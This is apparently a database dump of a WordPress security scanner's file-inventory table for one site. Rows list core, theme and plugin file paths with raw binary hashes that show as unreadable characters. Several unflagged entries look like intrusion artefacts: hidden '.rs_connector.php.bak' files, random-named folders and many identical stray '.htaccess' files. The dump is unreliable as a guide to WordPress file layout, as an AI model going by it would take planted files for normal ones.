('c77*B2','wp-content/themes/twentytwentytwo/inc/patterns/page-about-links-dark.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-links-dark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0l`','sIso9Iӹ);\\6OG%T','',0,'?'),
('d\0#T%a	{q0/','wp-content/.rs_g8/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g8/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('rf*kmM7[E)}','wp-includes/blocks/math/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CJt\r{Oh>','ZTГtQ4><mi<','',0,'?'),
('~c*c{i','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/InvalidIpAddressException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/InvalidIpAddressException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9 	TD$FgiEn','S]S(nZ\0ʲ','',0,'?'),
('eMy*Ҟ','wp-includes/js/backbone.js','/home/trevorkl/trevorklee.com/wp-includes/js/backbone.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q_)','ꀠ=񑞒=ܫāEߑq','',0,'?'),
('@k&XItǜ','wp-includes/class-wp-block-styles-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-styles-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	:9^Cγ&-^n','_*d6d?9zMڽU~\\ۼzq','',0,'?'),
('B+y\0xa$','wp-includes/blocks/table/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*\'Vm','BO&\'o1IYy%D','',0,'?'),
('pAz1w','wp-includes/blocks/navigation/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*c*B\n.6~','jdJ%\Z<<gj','',0,'?'),
('KkfgT#V','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/UrlSafe.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/UrlSafe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mjwem䏡fw','s}	gJ\nտ#PAˁ~!F]U','',0,'?'),
('n\n\0܁-i','wp-content/plugins/wordfence/images/blocking.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/blocking.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'-Hf<1','A5Y9\0OtqЖL\\}a&','',0,'?'),
('g[z\0ή','wp-content/plugins/wordfence/modules/login-security/views/page/settings.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','مυl ~n[','(WXI\Zj&;]\"\0e!\'-][b','',0,'?'),
('\\-\\ftKDs','wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']NVK.~)_','\"d>[jiv֍,0	\r1','',0,'?'),
('wi.w(M;0D','wp-content/plugins/akismet/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.oW-ղ\"p','<kgb\"L(q׎|SUqR`','',0,'?'),
('ws +C\'','wp-content/themes/twentytwenty/inc/block-patterns.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/block-patterns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']BM\"+J,','t!W*)%=o#Oox','',0,'?'),
('  g%!','wp-includes/blocks/site-logo.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','̣+:%39.','hYxG.pOە.fin~u9','',0,'?'),
('.xQ}t\np','wp-includes/rest-api/endpoints/class-wp-rest-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6np:','\'Rho󏆵ܿe4f4Yl<','',0,'?'),
('0\"j)w\rey','wp-includes/blocks/term-description/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-description/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('7*\"{\nK<','wp-admin/includes/ms-deprecated.php','/home/trevorkl/trevorklee.com/wp-admin/includes/ms-deprecated.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f}?{GjeGi','egv\Zx!74F\nD','',0,'?'),
('?8ZN','wp-includes/ID3/module.tag.lyrics3.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.tag.lyrics3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*\\\'Htbn','N 2\'\"韗\'m5YFhP0g','',0,'?'),
('GBʥUK','wp-includes/css/dist/theme/design-tokens.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens.min.css',0,'2V؁opڸ','2V؁opڸ','ˡ5BH`@A1GHQ','',0,'?'),
('X*VL	_','wp-includes/css/dist/block-library/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xeh75:Q',';Z?OLLVP3inH̆a','',0,'?'),
('_ 6TNG?','wp-includes/blocks/search/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zaDt^[*','%\0m}Ty.mW؞\\r','',0,'?'),
('`o.QS`','wp-includes/blocks/image/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k~B0','Wߤ%mdD\'.][\Zԅc<','',0,'?'),
('d3(','wp-includes/sodium_compat/src/Core/AES/KeySchedule.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/KeySchedule.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N,ßVy\r',' aIY6csR+dиY','',0,'?'),
('hR\ZuB','wp-content/themes/twentytwentythree/styles/pilgrimage.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/pilgrimage.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v~\\o3','5*w!:Ǻ6ؙX;-40ʩ','',0,'?'),
('jI<꟟iU','wp-includes/category-template.php','/home/trevorkl/trevorklee.com/wp-includes/category-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TrXS%','[|]c\n!g=8oCq','',0,'?'),
('&}?\Zs`','wp-includes/js/wp-sanitize.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-sanitize.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n|\Z{(D','abBe$cIE,','',0,'?'),
(' ]\rb8','wp-content/themes/twentytwentytwo/assets/videos/birds.mp4','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/videos/birds.mp4',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Pq4/-SUd','r6+,&6VЉG3t:9)T','',0,'?'),
('QWsA7d\n','wp-admin/css/site-icon-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/site-icon-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bK\\\'z','vT7UJ\0#B>`\\m3','',0,'?'),
('nJ-25W','wp-includes/blocks/rss/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ḊCk51\"',':A;&Ӻ[29A)<a4','',0,'?'),
('e\\1tƋ<	','wp-content/plugins/wordfence/lib/wfUpdateCheck.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfUpdateCheck.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jV+KI~0\n','7&.ηDӛ]e','',0,'?'),
('GGa\"','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$F:yD=','W<K~_obd\r><UlʱoE','',0,'?'),
('Z|075o','wp-includes/sodium_compat/src/Core32/Int32.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Int32.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','siQ$gFr','M=cS~[\r<)ǖ3O{xھ\0w','',0,'?'),
('B]nȄ87g','wp-includes/images/smilies/icon_rolleyes.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_rolleyes.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Yuu 	2','\\	ueT\rvj!ҳ7R','',0,'?'),
('fR/1< PC','wp-includes/js/dist/shortcode.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/shortcode.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wr4&Pi(v','|qxG\rJҽD@} wR\'xpY','',0,'?'),
('VZ8=vc','wp-includes/blocks/freeform/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/freeform/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X]? 5',' gZj#<ٶ7{e^\0F_0','',0,'?'),
('ڸPֺb','wp-includes/blocks/social-link/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-link/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ocƩrJN','h%Qߓ_@keeOky','',0,'?'),
('951c=Ù','wp-includes/blocks/comment-author-name/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-author-name/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Kȁ;$z','wp-includes/js/dist/notices.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/notices.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lc57P\'m','ܔNERgLqmzzTrh0S&','',0,'?'),
('XqNM\r\\ZZ>','wp-includes/images/media/interactive.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/interactive.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E3aH[$^','KM4g@MwU޺','',0,'?'),
('dRĆCPb&','wp-content/themes/twentytwentyone/assets/sass/07-utilities/ie.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/ie.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d\nrgMO[tϮ]','!Xx?nmܬf\0mZ','',0,'?'),
('kIKV[	5','wp-includes/sodium_compat/namespaced/Core/Ed25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v>#!n(','DFUu|v/]2x_ERL2QlP93s	15','',0,'?'),
('o?NMւSN','wp-content/themes/twentytwentyfive/patterns/cta-events-list.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-events-list.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȎuQv>n','}\0=-t&ei]paj','',0,'?'),
('w\ZdϢ\ruD\"','wp-includes/IXR/class-IXR-request.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-request.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%p.<Sǡz1Ϣ','Q*k_}2>Tq<_S:Qh','',0,'?'),
('x9ꖟHn','wp-includes/class-wp-icon-collections-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-icon-collections-registry.php',0,'.si^buOf','.si^buOf','9\0_b62RD3iЉ&Ay3\r','',0,'?'),
('X^GL[%','wp-includes/sitemaps/ntueyzv/yvqrbhm/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('vr@{c{','wp-includes/blocks/social-link/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-link/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ocƩrJN','h%Qߓ_@keeOky','',0,'?'),
('4fGAZ%','wp-includes/class-wp-styles.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-styles.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rڔ3&|2Z','0o\0̇E,\\2HODm$ib','',0,'?'),
('/\Z)y\r','wp-includes/blocks/html/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/html/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d͗C4Q','+@I BWkӊ#}Bl&','',0,'?'),
('&ҤdYi[','wp-includes/html-api/knojvbd/lyuifac/csdhol1/.828e0013b8.meta','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/.828e0013b8.meta',0,'.6wsϿ9Q','.6wsϿ9Q','d\"\0\'Ԙ<b܉~ѻ0П','',0,'?'),
('$xM1>_8P\0','wp-includes/js/swfupload/swfupload.js','/home/trevorkl/trevorklee.com/wp-includes/js/swfupload/swfupload.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('35no~.','wp-includes/blocks/archives/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	Kݑ։','9j鹠٠4Sqò_\\`','',0,'?'),
('߫P%D','wp-includes/class-wp-dependencies.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-dependencies.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' *wHß0אйo','ӟΡQDi~7aQj:i`yQ','',0,'?'),
('taV/>P','wp-content/themes/twentytwentytwo/templates/page-large-header.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/page-large-header.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<\Zzݺ~ǡ','G#\'`&fB!3`','',0,'?'),
('ˎ	\n1J','wp-includes/js/dist/script-modules/interactivity-router/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity-router/index.min.asset.php',0,'Y*Q@:1fش+5','Y*Q@:1fش+5','^Ko\"7\nXfZ;G鰓kr^','',0,'?'),
('Qs|cL؜VH)','wp-admin/includes/class-walker-nav-menu-checklist.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-walker-nav-menu-checklist.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?5]8T#l','V\r0&JEGq^D>v\0FI','',0,'?'),
('/8&Dg|#','wp-includes/js/dist/viewport.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/viewport.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U:yW(H݉\'','/:̑sr81\nS\n@f>7@','',0,'?'),
(',]|<','wp-content/.rs_g4/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g4/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('9ׯGTic','wp-includes/SimplePie/src/Content/Type/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Content/Type/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('<͐noz#?:','wp-includes/blocks/widget-group.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/widget-group.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@xߊca+','bĴl3?:<c6d:,','',0,'?'),
('MWWgYLo0','wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(%[׉s\'r','?\\6pfuEU3$JwP','',0,'?'),
('Oxرc5(','wp-includes/css/dist/block-library/theme.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b,66IV','iK[هYQvaljuq~x$','',0,'?'),
('Uzcp','wp-includes/blocks/separator/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ٞ\no\'','j7W\06$e~RIp%zP','',0,'?'),
('[*H߹Ƃ','wp-includes/Requests/src/Cookie.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Cookie.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3EO+e:ڝ','1	I,yrh=+_smW7NK','',0,'?'),
('n97I.Oҝ޿','wp-includes/js/heartbeat.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/heartbeat.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0Isp)fն','c<éauvH5tuX6w\"V=B','',0,'?'),
('o9sd4-','wp-includes/blocks/loginout/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/loginout/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S	:ז_bM','yT5m ZV#!:Z','',0,'?'),
('yIyОډ','wp-content/themes/twentytwentyfour/templates/index.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/index.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӭKEGbB\Z','tʯKPqdLemf7&R`','',0,'?'),
('|BlIHҼOSƱ','wp-includes/js/mediaelement/mediaelement-migrate.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelement-migrate.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<C_hz3<7',',b#0!aOVc,ؕSԏIл%p)','',0,'?'),
('ب&G)k{','wp-includes/sodium_compat/namespaced/Core/HChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hP','Kd%.RAOFjo-','',0,'?'),
('_-\ny?','wp-includes/rest-api/fields/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/rest-api/fields/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('R\\p','wp-includes/blocks/comment-template/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-template/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`9Qr9y5','lfz)=Z+L0	','',0,'?'),
('!7[','wp-includes/css/dist/editor/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('[6dcHa ','wp-includes/blocks/latest-posts/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k\"@eʮf!','eFiD}[\nLLM=h','',0,'?'),
('\\֯B!aV','wp-includes/blocks/comment-content/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-content/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?݅0','?|r.EIZ%KW௶^','',0,'?'),
('f餧xMP]~B','wp-content/plugins/akismet/class.akismet-cli.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-cli.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"Velr}\Z','7Od%?L`\"}5','',0,'?'),
('h+B','wp-includes/js/tw-sack.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tw-sack.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xh+t\r\r/A','\\mN톬3oE\0Z)yB','',0,'?'),
('F\"vh$Lb','wp-includes/js/imgareaselect/border-anim-v.gif','/home/trevorkl/trevorklee.com/wp-includes/js/imgareaselect/border-anim-v.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' z!<7*','>d:j1<!46g','',0,'?'),
('B\'K5','wp-content/themes/twentytwentyfour/patterns/posts-1-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-1-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|#\'kH','a?ɀBVct夻}k\0?+b','',0,'?'),
('c<[','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/api.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/api.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7קE0IqX','mO⩱XX\0E,Z*y*z7;','',0,'?'),
('MAH\0[d_!','wp-content/plugins/wordfence/crypto/vendor/composer/autoload_namespaces.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/autoload_namespaces.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"@~Ǵ[@A','ЬKql:~ҝ٤Bu$*Vz)','',0,'?'),
('yc0Og)ρMf','wp-admin/network/site-settings.php','/home/trevorkl/trevorklee.com/wp-admin/network/site-settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w.S[%\Z','X+#k2&[gF%v\"','',0,'?'),
('U]R)Ym','wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu7GxMKTU1Kvnz.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu7GxMKTU1Kvnz.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nj09','\ZҨ2#s:Р\n		vØ+l','',0,'?'),
('U\'i5s5','wp-includes/js/tinymce/skins/wordpress/images/script.svg','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/script.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܟ+`1IF','z8$(ˍd)ȡx6	{z/','',0,'?'),
('tǱ%F','wp-content/plugins/wordfence/lib/wfNotification.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfNotification.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r!L1','\ZHX~	#sI4~{','',0,'?'),
('\r7JbU?rϴ','wp-includes/Requests/src/Exception/Http/Status410.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status410.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iL))7ff}','BRX?	6E,n`\\c','',0,'?'),
('$!+&q','wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$sRiNS&&$d','lW+ 5 \rզI9Yk','',0,'?'),
('1ϣI','wp-content/plugins/wordfence/lib/wfImportExportController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfImportExportController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+>','dlы۹`J#|i{','',0,'?'),
('<|~E.Y^!]','wp-admin/js/widgets/media-audio-widget.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-audio-widget.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ntw|茇^\r<K','d^2?PF~>ݾm','',0,'?'),
('?\n5H?','wp-admin/css/customize-controls.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-controls.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~5NgZsY','fG+҇=&7ӷE	Wf','',0,'?'),
('Gdd́`w','wp-includes/assets/script-loader-react-refresh-runtime.min.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-runtime.min.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0!j1M/>?','V<#Y&=z;I0Nlz','',0,'?'),
('Sv\Z9:Ɋa','wp-content/maintenance/assets/images/facebook.svg','/home/trevorkl/trevorklee.com/wp-content/maintenance/assets/images/facebook.svg',0,'7^H^h>y9','7^H^h>y9','.E{rH-Nq\n37','',0,'?'),
('aC1ֻR','wp-includes/sitemaps/egf1kul/ytws1xl/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('jP89K	VE_','wp-includes/js/dist/script-modules/block-library/search/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/search/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('wB~~BP8','wp-includes/blocks/post-date/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-date/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3٦>L\'','?ahƖov5nh','',0,'?'),
('juGCtO','wp-admin/css/colors/coffee/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/coffee/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','۳lb\'wz_[','dPL/5IR6P»݃?{','',0,'?'),
('l.H|S{','wp-includes/js/jquery/ui/effect-transfer.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-transfer.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@h*׻kAi','ne^P!yF1.}.\\\'Vv','',0,'?'),
('~e/!','wp-content/themes/twentytwentytwo/theme.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/theme.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.0ֿ\"B','\":M)2_YKNK%[xn!','',0,'?'),
('ISU`uTF','wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*B]{fW9',';T1yAP	*[TQ','',0,'?'),
('S%ќ\"r!','wp-includes/blocks/list/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/list/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.`K.R!_','b\\Fa]r:\rJ~;W\0P6ruC','',0,'?'),
('_u:7<p','wp-content/plugins/wordfence/css/wf-deactivation.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-deactivation.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʕ2cl/[','|k2lDͺV~','',0,'?'),
('5V\"MZtVe','wp-includes/SimplePie/library/SimplePie/Sanitize.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Sanitize.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cUQ4ui?%','okCPmg%ģ\0\0لl\Z','',0,'?'),
('3qc;*V\08\\','wp-content/themes/twentynineteen/sass/variables-site/_transitions.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_transitions.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӌؠv&Ad','Ks;oZÏYS!e','',0,'?'),
('	\".W+Y','wp-content/plugins/wordfence/css/iptraf.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/iptraf.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ebf.\nV[xPh','J-@ ]-	cqWQ$8','',0,'?'),
('$b	o&8','wp-includes/blocks/button/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8ZHn׳-\Z/','1[gւ8́7Mfe#~w','',0,'?'),
